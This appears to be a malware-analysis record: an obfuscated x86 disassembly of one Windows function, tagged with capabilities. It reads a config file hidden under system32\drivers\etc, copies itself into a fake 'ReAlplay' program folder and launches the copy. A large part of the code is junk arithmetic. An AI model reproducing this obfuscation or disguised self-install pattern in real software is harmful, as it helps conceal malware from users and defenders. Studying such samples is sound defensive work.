Function at 0x402250
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44a48b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x14b8
call fcn.00430500
mov eax, dword [0x45e640]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x814], bl
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [ebp - 0xa14], bl
mov ecx, 0x7f
lea edi, [ebp - 0xa13]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45cccc]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, dword [0x45ccd4]
mov eax, 0x950cb67f
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x1e9f4e3
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x84dd7
sub eax, edi
add eax, edx
mov edi, eax
mov eax, 0x9baa0995
imul esi
add edx, esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9baa0995
imul ecx
mov eax, dword [0x45cce8]
add edx, ecx
imul eax, eax, 0x8a702
sar edx, 0x13
mov ecx, edx
add edi, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x8276a
shr ecx, 0x1f
add ecx, edi
add ecx, edx
add ecx, eax
push ebx
mov dword [str._r_____r____], ecx
mov dword [ebp - 4], ebx
call fcn.004304c7
mov ecx, dword [0x45cccc]
mov esi, dword [0x45cce4]
mov dword [ebp - 0xfb4], eax
imul esi, esi, 0x3ef21
mov eax, 0x69f239fb
imul ecx
sar edx, 0x10
mov edi, edx
add esp, 4
shr edi, 0x1f
mov ecx, dword [0x45ccd4]
add esi, edx
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
add edi, esi
mov esi, edx
add edi, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x84dd7
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x3ecaa423
imul ecx
mov ecx, dword [0x45cce8]
imul ecx, ecx, 0x8a702
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [str._r_____r____]
add eax, esi
sub eax, ecx
sub eax, edx
add eax, 0x54963
mov dword [0x45cccc], eax
call fcn.00447a15
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x44]
push edx
lea ecx, [ebp - 0xfc4]
call fcn.004021a0
mov ecx, dword [ebp - 0xfc4]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x314]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
cmp al, bl
jne 0x4023f6
lea eax, [ebp - 0x314]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402410
sub eax, edx
mov dword [ebp - 0xfa8], eax
jne 0x4035da
mov ecx, dword [str._r_____r____]
mov eax, dword [0x45ccd8]
mov esi, dword [0x45ccdc]
lea edi, [eax + ecx]
imul ecx, ecx, 0x85c24
mov eax, 0x69f239fb
imul edi, edi, 0x8276a
imul esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x1e9f4e3
imul esi
imul esi, esi, 0x84dd7
sar edx, 0xc
push str.C:_WiNDoWS_system32driversetcSeRvicE3.ini
mov eax, edx
add edi, edx
push 0x100
shr eax, 0x1f
add eax, edi
mov edi, dword [0x45cce0]
lea edx, [ebp - 0x214]
push edx
add ecx, edi
push 0x44ce59
add ecx, eax
push str.RAND
lea ecx, [esi + ecx - 0x3ef21]
push str.AAAAA
mov dword [0x45ccd4], ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [0x45cccc]
mov esi, dword [0x45ccd4]
mov eax, 0x950cb67f
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x1e9f4e3
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x84dd7
mov ebx, eax
sub ebx, edi
add ebx, edx
mov eax, 0x9baa0995
imul esi
add edx, esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9baa0995
imul ecx
mov eax, dword [0x45cce8]
add edx, ecx
imul eax, eax, 0x8a702
sar edx, 0x13
mov ecx, edx
add ebx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x8276a
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
add ecx, eax
mov dword [str._r_____r____], ecx
lea ecx, [ebp - 0x214]
push ecx
call fcn.004304c2
add esp, 4
test eax, eax
jle 0x402561
lea edx, [ebp - 0x214]
push edx
call fcn.004304c2
add esp, 4
mov dword [ebp - 0xfb4], eax
mov eax, dword [0x45cce8]
mov ecx, dword [0x45cccc]
imul eax, eax, 0x8a702
mov esi, dword [0x45cce4]
mov dword [ebp - 0xfbc], eax
mov eax, 0x69f239fb
imul ecx
mov ecx, dword [0x45ccd4]
sar edx, 0x10
mov ebx, esi
imul ebx, ebx, 0x3ef21
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov dword [ebp - 0xfac], eax
mov edi, dword [0x45cce0]
mov eax, 0x1e9f4e3
imul edi, edi, 0x84dd7
imul ecx
mov eax, dword [ebp - 0xfac]
sar edx, 0xc
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x3ecaa423
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [ebp - 0xfbc]
add eax, ebx
mov ebx, dword [str._r_____r____]
sub eax, edx
sub eax, ebx
lea edx, [eax + edi + 0x54963]
mov eax, dword [ebp - 0xfb4]
mov dword [0x45cccc], edx
cdq
mov dword [ebp - 0xfa8], edi
mov edi, 0x190
idiv edi
mov edi, edx
mov eax, edx
and eax, 0x80000001
jns 0x40261e
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x4027b8
mov eax, 0x9baa0995
imul esi
add edx, esi
mov eax, dword [0x45cccc]
sar edx, 0x13
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x45ccd0]
add eax, edx
mov edx, dword [0x45ccdc]
imul eax, eax, 0x6dec5
imul edx, edx, 0x3ef21
add eax, edx
mov dword [ebp - 0xfac], eax
mov eax, 0x1e9f4e3
imul esi
mov esi, dword [ebp - 0xfac]
sar edx, 0xc
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov dword [ebp - 0xfac], eax
mov eax, 0x3ecaa423
imul dword [0x45cccc]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfac]
sub edx, eax
mov eax, dword [str._r_____r____]
mov esi, dword [0x45cce0]
imul eax, eax, 0x85c24
mov dword [ebp - 0xfb4], eax
imul esi, esi, 0xa0dd9
mov eax, dword [0x45ccc8]
add eax, ecx
imul eax, eax, 0x26a94
mov dword [ebp - 0xfb0], eax
add edx, ebx
add esi, edx
lea edx, [edi - 1]
mov dword [ebp - 0xfac], edx
mov eax, 0x950cb67f
imul dword [0x45ccd8]
add edx, dword [0x45ccd8]
mov eax, dword [ebp - 0xfb0]
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
mov ecx, eax
mov eax, 0x1e9f4e3
imul dword [0x45ccd8]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x60d8eff
imul dword [str._r_____r____]
mov eax, ecx
sar edx, 0xd
mov ecx, edx
add eax, edx
mov edx, dword [ebp - 0xfb4]
shr ecx, 0x1f
add ecx, eax
mov eax, dword [0x45ccd8]
sub ecx, ebx
add ecx, edx
lea edx, [edi + 1]
mov dword [0x45ccdc], esi
mov dword [0x45cce4], ecx
mov dword [ebp - 0xfc0], edx
mov edx, dword [str._r_____r____]
lea ebx, [eax + edx]
mov eax, 0x69f239fb
imul ebx, ebx, 0x8276a
imul esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x1e9f4e3
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, dword [ebp - 0xfb4]
mov edx, esi
imul edx, edx, 0x84dd7
add eax, ebx
add edx, eax
mov eax, dword [0x45cce0]
lea ebx, [edx + eax - 0x3ef21]
lea edx, [edi + 3]
mov dword [0x45ccd4], ebx
mov dword [ebp - 0xfb0], edx
jmp 0x4028f0
mov ebx, dword [0x45ccc8]
lea eax, [ebx + ecx]
imul ebx, ebx, 0x3ef21
imul eax, eax, 0x26a94
mov dword [ebp - 0xfac], eax
mov ecx, dword [0x45ccd8]
mov eax, 0x950cb67f
imul dword [0x45ccd8]
add edx, ecx
mov ecx, dword [ebp - 0xfac]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x1e9f4e3
imul dword [0x45ccd8]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x85c24
add eax, edx
mov dword [ebp - 0xfac], eax
mov eax, 0x60d8eff
imul ecx
mov eax, dword [ebp - 0xfac]
sar edx, 0xd
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, 0x9baa0995
imul esi
add edx, esi
mov esi, dword [0x45ccd0]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x10449d67
imul esi
sar edx, 0xe
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov dword [ebp - 0xfb0], eax
mov eax, 0x3da8152f
imul esi
mov eax, dword [ebp - 0xfb0]
sar edx, 0x11
add eax, edx
mov ebx, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x1c83d
shr ebx, 0x1f
add ebx, eax
add ebx, edx
mov eax, 0x3ecaa423
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xcbb2b9d
imul esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov dword [0x45cce4], ecx
mov dword [ebp - 0xfac], edi
add eax, ebx
mov esi, dword [0x45ccdc]
mov ebx, dword [0x45ccd4]
mov dword [0x45ccc8], eax
lea edx, [edi + 2]
lea eax, [edi + 4]
mov dword [ebp - 0xfc0], edx
mov dword [ebp - 0xfb0], eax
mov eax, 0x1e9f4e3
imul ebx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xfb4], eax
mov eax, 0x950cb67f
imul dword [0x45cccc]
add edx, dword [0x45cccc]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cccc]
imul edx, edx, 0x84dd7
sub edx, eax
mov dword [ebp - 0xfb8], edx
mov eax, 0x9baa0995
imul ebx
add edx, dword [0x45ccd4]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xfb8]
sub edx, eax
mov dword [ebp - 0xfb8], edx
mov eax, 0x9baa0995
imul dword [0x45cccc]
add edx, dword [0x45cccc]
mov eax, dword [ebp - 0xfbc]
sar edx, 0x13
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [ebp - 0xfb8]
add ebx, eax
mov eax, esi
imul eax, eax, 0x8276a
add ebx, edx
mov edx, dword [ebp - 0xfc0]
add eax, ebx
add eax, dword [ebp - 0xfb4]
mov dword [str._r_____r____], eax
mov eax, 0x190
cmp edx, eax
jl 0x402a13
mov eax, 0x69f239fb
imul dword [0x45cccc]
mov ebx, ecx
imul ebx, ebx, 0x3ef21
sar edx, 0x10
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x3ecaa423
imul dword [0x45ccd4]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [ebp - 0xfbc]
add eax, ebx
mov ebx, dword [str._r_____r____]
sub eax, edx
mov edx, dword [ebp - 0xfa8]
sub eax, ebx
add eax, edx
mov edx, dword [ebp - 0xfb4]
lea eax, [eax + edx + 0x54963]
dec edi
mov dword [0x45cccc], eax
mov dword [ebp - 0xfc0], edi
mov edi, dword [0x45cce0]
mov ebx, dword [0x45cce8]
mov eax, 0x69f239fb
imul ebx, ebx, 0x3ef21
imul edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov edx, edi
imul edx, edx, 0x26a94
add eax, edx
mov ebx, eax
mov eax, dword [0x45ccc8]
imul eax, eax, 0x85c24
add ebx, eax
mov eax, 0x3da8152f
imul dword [0x45cce8]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x76595943
imul dword [0x45cce8]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [ebp - 0xfb0]
add eax, ebx
sub eax, dword [ebp - 0xfb4]
mov dword [0x45ccd8], eax
mov eax, 0x190
cmp edx, eax
jl 0x402b0b
mov edx, dword [0x45ccd0]
imul esi, esi, 0x3ef21
imul edi, edi, 0xa0dd9
mov ebx, dword [0x45cccc]
lea eax, [edx + ebx]
imul eax, eax, 0x6dec5
add eax, esi
mov dword [ebp - 0xfa8], eax
mov eax, 0x1e9f4e3
imul ecx
mov eax, dword [ebp - 0xfa8]
sar edx, 0xc
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, 0x9baa0995
imul ecx
add edx, ecx
sar edx, 0x13
add esi, edx
mov ecx, edx
mov eax, 0x3ecaa423
imul ebx
sar edx, 0x11
shr ecx, 0x1f
mov eax, edx
shr eax, 0x1f
add ecx, esi
add eax, edx
sub ecx, eax
add ecx, edi
mov dword [0x45ccdc], ecx
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push str.c:program_filesReAlplay
call edi
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccc8]
imul esi, esi, 0x3ef21
mov eax, 0x10449d67
imul ecx
sar edx, 0xe
add esi, edx
mov ebx, edx
mov eax, 0x3da8152f
imul ecx
sar edx, 0x11
shr ebx, 0x1f
add ebx, esi
mov esi, edx
add ebx, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x1c83d
shr esi, 0x1f
add esi, ebx
add esi, edx
mov edx, dword [0x45cce4]
mov eax, 0x3ecaa423
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xcbb2b9d
imul ecx
mov eax, dword [ebp - 0xfac]
imul eax, eax, 0x25
sar edx, 0xf
mov ecx, edx
add esi, edx
shr ecx, 0x1f
add ecx, esi
lea esi, [eax + str.Installing]
push esi
lea edx, [ebp - 0x114]
push str.c:program_filesReAlplay_s
push edx
mov dword [0x45ccc8], ecx
mov dword [ebp - 0xfb8], esi
call fcn.0042fe91
mov eax, dword [0x45ccd4]
mov ecx, dword [0x45ccc8]
lea ebx, [ecx + eax]
mov ecx, dword [0x45ccd8]
imul ebx, ebx, 0x26a94
mov eax, 0x950cb67f
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x85c24
add ebx, edx
mov eax, 0x60d8eff
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add ebx, edx
add esp, 0xc
add eax, ebx
mov ecx, dword [0x45cce4]
mov ebx, eax
mov eax, 0x9baa0995
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
push 0
lea ecx, [ebp - 0x114]
sub ebx, eax
push ecx
mov dword [0x45cce4], ebx
call edi
mov ecx, dword [0x45ccd0]
mov edi, dword [0x45ccc8]
imul edi, edi, 0x3ef21
mov eax, 0x10449d67
imul ecx
sar edx, 0xe
add edi, edx
mov ebx, edx
mov eax, 0x3da8152f
imul ecx
sar edx, 0x11
shr ebx, 0x1f
add ebx, edi
mov edi, edx
add ebx, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x1c83d
shr edi, 0x1f
add edi, ebx
add edi, edx
mov edx, dword [0x45cce4]
mov eax, 0x3ecaa423
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xcbb2b9d
imul ecx
sar edx, 0xf
mov ecx, edx
add edi, edx
mov edx, dword [ebp - 0xfc0]
imul edx, edx, 0x25
add edx, str.Installing
push edx
push esi
shr ecx, 0x1f
lea eax, [ebp - 0x114]
add ecx, edi
push str.c:program_filesReAlplay_s_s.exe
push eax
mov dword [0x45ccc8], ecx
call fcn.0042fe91
mov edi, dword [0x45cce0]
mov ecx, dword [0x45cce8]
mov eax, 0x1e9f4e3
imul dword [0x45ccd4]
sar edx, 0xc
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x69f239fb
imul edi
imul edi, edi, 0x26a94
mov ebx, ecx
imul ebx, ebx, 0x3ef21
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
add esp, 0x10
add eax, edi
mov edx, dword [0x45ccc8]
imul edx, edx, 0x85c24
add eax, edx
mov ebx, eax
mov eax, 0x3da8152f
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edi, dword [0x45cccc]
mov eax, 0x76595943
imul ecx
imul ecx, ecx, 0x8a702
sar edx, 0x12
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
sub eax, esi
mov dword [0x45ccd8], eax
mov eax, 0x950cb67f
imul edi
add edx, edi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, edi
imul ebx, ebx, 0x84dd7
sub ebx, eax
mov eax, 0x9baa0995
imul dword [0x45ccd4]
add edx, dword [0x45ccd4]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9baa0995
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
add ebx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x8276a
shr eax, 0x1f
add eax, ebx
add edx, esi
add edx, eax
push 0x100
lea eax, [ebp - 0x214]
push eax
add ecx, edx
push 0
mov dword [ebp - 0xfac], 0
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea ecx, [ebp - 0x214]
push 0x8000
push ecx
call fcn.0043cd2b
mov ecx, dword [0x45cccc]
mov esi, dword [0x45cce4]
mov edi, eax
imul esi, esi, 0x3ef21
mov eax, 0x69f239fb
imul ecx
sar edx, 0x10
mov ecx, edx
add esi, edx
shr ecx, 0x1f
add esp, 0xc
add ecx, esi
mov esi, dword [0x45ccd4]
mov eax, 0x1e9f4e3
imul esi
sar edx, 0xc
add ecx, edx
mov ebx, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x84dd7
shr ebx, 0x1f
add ebx, ecx
add ebx, edx
mov eax, 0x3ecaa423
imul esi
mov eax, dword [0x45cce8]
imul eax, eax, 0x8a702
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
mov ebx, dword [str._r_____r____]
sub ecx, eax
sub ecx, ebx
add ecx, 0x54963
cmp edi, 0xffffffff
mov dword [0x45cccc], ecx
je 0x403177
mov ecx, dword [0x45ccd8]
lea esi, [ecx + ebx]
imul ebx, ebx, 0x85c24
mov ecx, dword [0x45ccdc]
imul esi, esi, 0x8276a
mov eax, 0x69f239fb
imul ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x1e9f4e3
imul ecx
imul ecx, ecx, 0x84dd7
sar edx, 0xc
mov eax, edx
add esi, edx
shr eax, 0x1f
add eax, esi
add ebx, dword [0x45cce0]
push 0x100000
add ebx, eax
lea ecx, [ecx + ebx - 0x3ef21]
push 0x45f5c0
push edi
mov dword [0x45ccd4], ecx
call fcn.0043b948
push edi
mov ebx, eax
call fcn.0043bae4
add esp, 0x10
cmp ebx, 0x2800
jle 0x40316b
mov esi, dword [0x45cccc]
mov edx, dword [0x45ccd0]
mov eax, dword [0x45ccdc]
mov ecx, dword [0x45cce4]
imul eax, eax, 0x3ef21
lea edi, [edx + esi]
imul edi, edi, 0x6dec5
add edi, eax
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
mov eax, edx
add edi, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x9baa0995
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
add edi, edx
mov eax, 0x3ecaa423
imul esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0xa0dd9
shr ecx, 0x1f
add ecx, edi
sub ecx, eax
add ecx, edx
push 0
mov dword [0x45ccdc], ecx
call fcn.004304c7
push eax
push 0x44cb00
push 0x45f8c0
call fcn.0042fe91
push 0x180
lea eax, [ebp - 0x114]
push 0x8302
push eax
call fcn.0043cd2b
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
jne 0x40301f
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402fe0
sub eax, edx
lea ecx, [ebp + eax - 0x118]
push str.s.exe
push ecx
call fcn.0042fe91
push 0x180
lea edx, [ebp - 0x114]
push 0x8302
push edx
call fcn.0043cd2b
mov esi, eax
add esp, 0x14
cmp esi, 0xffffffff
je 0x40316b
mov eax, dword [0x45ccd4]
mov ecx, dword [0x45ccc8]
lea edi, [ecx + eax]
mov ecx, dword [0x45ccd8]
imul edi, edi, 0x26a94
mov eax, 0x950cb67f
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x85c24
add edi, edx
mov eax, 0x60d8eff
imul ecx
mov ecx, dword [0x45cce4]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov edi, eax
mov eax, 0x9baa0995
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
push ebx
add eax, edx
sub edi, eax
push 0x45f5c0
push esi
mov dword [0x45cce4], edi
call fcn.00439378
push 2
push 0
push esi
call fcn.004390ff
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xe14]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45ccd0]
mov edi, dword [0x45ccc8]
imul edi, edi, 0x3ef21
mov eax, 0x10449d67
imul ecx
sar edx, 0xe
add edi, edx
mov ebx, edx
mov eax, 0x3da8152f
imul ecx
sar edx, 0x11
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov edi, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x1c83d
shr edi, 0x1f
add edi, ebx
add edi, edx
mov edx, dword [0x45cce4]
mov eax, 0x3ecaa423
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xcbb2b9d
imul ecx
sar edx, 0xf
mov ecx, edx
add edi, edx
mov edx, dword [ebp - 0xfc0]
push edx
lea eax, [ebp - 0xe14]
shr ecx, 0x1f
push eax
add ecx, edi
push esi
mov dword [0x45ccc8], ecx
call fcn.00439378
push esi
call fcn.0043bae4
add esp, 0x28
mov dword [ebp - 0xfac], 1
mov ecx, dword [0x45cccc]
mov esi, dword [0x45ccd4]
mov eax, dword [0x45cce8]
mov edi, dword [0x45ccd8]
imul eax, eax, 0x8a702
mov dword [ebp - 0xfbc], eax
mov eax, 0x10449d67
imul edi
imul edi, edi, 0xd2812
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccd0]
mov ebx, eax
mov eax, 0x60d8eff
imul edx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, edi
mov edi, dword [0x45ccdc]
mov eax, 0x9baa0995
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0x8276a
sub ebx, eax
mov eax, dword [ebp - 0xfbc]
add ebx, edx
sub ebx, dword [0x45cce4]
lea edx, [ebx + eax - 0x3ef21]
cmp dword [ebp - 0xfac], 1
mov dword [0x45ccd0], edx
jne 0x4035cb
mov eax, 0x950cb67f
imul edi, edi, 0x8276a
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x1e9f4e3
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x84dd7
sub eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0x9baa0995
imul esi
add edx, esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9baa0995
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add ecx, dword [ebp - 0xfbc]
lea edx, [ebp - 0x114]
push edx
add ecx, ebx
lea eax, [ebp - 0x214]
add edi, ecx
push str._s__33201_
push eax
mov dword [str._r_____r____], edi
call fcn.0042fe91
mov esi, dword [0x45cce4]
xor eax, eax
imul esi, esi, 0x3ef21
mov ecx, 0x11
lea edi, [ebp - 0x1008]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45cccc]
mov eax, 0x69f239fb
imul ecx
mov ecx, dword [0x45ccd4]
sar edx, 0x10
add esi, edx
mov edi, edx
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
shr edi, 0x1f
add edi, esi
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
mov edi, dword [0x45cce0]
mov edx, edi
imul edx, edx, 0x84dd7
add esi, edx
mov eax, 0x3ecaa423
imul ecx
sar edx, 0x11
mov eax, edx
add esp, 0xc
shr eax, 0x1f
mov dword [ebp - 0x1008], 0x44
add esi, edx
mov ecx, dword [0x45cce8]
mov edx, dword [0x45ccd8]
imul ecx, ecx, 0x8a702
add eax, esi
mov esi, dword [0x45ccdc]
sub eax, ecx
mov ecx, dword [str._r_____r____]
sub eax, ecx
add eax, 0x54963
mov dword [0x45cccc], eax
lea ebx, [edx + ecx]
imul ecx, ecx, 0x85c24
mov eax, 0x69f239fb
imul ebx, ebx, 0x8276a
imul esi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x1e9f4e3
imul esi
imul esi, esi, 0x84dd7
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add ebx, edx
add ecx, edi
add eax, ebx
add ecx, eax
lea edx, [ebp - 0x1018]
push edx
lea eax, [ebp - 0x1008]
push eax
push 0
push 0
push 0x20
push 0
lea ecx, [esi + ecx - 0x3ef21]
push 0
mov dword [0x45ccd4], ecx
push 0
lea ecx, [ebp - 0x214]
push ecx
push 0
mov dword [ebp - 0xfdc], 1
mov word [ebp - 0xfd8], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x403452
mov esi, dword [0x45cccc]
mov edx, dword [0x45ccd0]
mov eax, dword [0x45ccdc]
mov ecx, dword [0x45cce4]
imul eax, eax, 0x3ef21
lea edi, [edx + esi]
imul edi, edi, 0x6dec5
add edi, eax
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
mov ebx, edx
add edi, edx
mov eax, 0x9baa0995
imul ecx
add edx, ecx
sar edx, 0x13
shr ebx, 0x1f
mov ecx, edx
add ebx, edi
add ebx, edx
mov eax, 0x3ecaa423
imul esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0xa0dd9
shr ecx, 0x1f
add ecx, ebx
sub ecx, eax
add ecx, edx
push 0
mov dword [0x45ccdc], ecx
call fcn.004303fa
mov eax, dword [0x45ccd4]
mov ecx, dword [0x45ccc8]
lea esi, [ecx + eax]
mov ecx, dword [0x45ccd8]
imul esi, esi, 0x26a94
mov eax, 0x950cb67f
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x85c24
add esi, edx
mov eax, 0x60d8eff
imul ecx
mov ecx, dword [0x45cce4]
sar edx, 0xd
mov edi, edx
add esi, edx
mov eax, 0x9baa0995
imul ecx
add edx, ecx
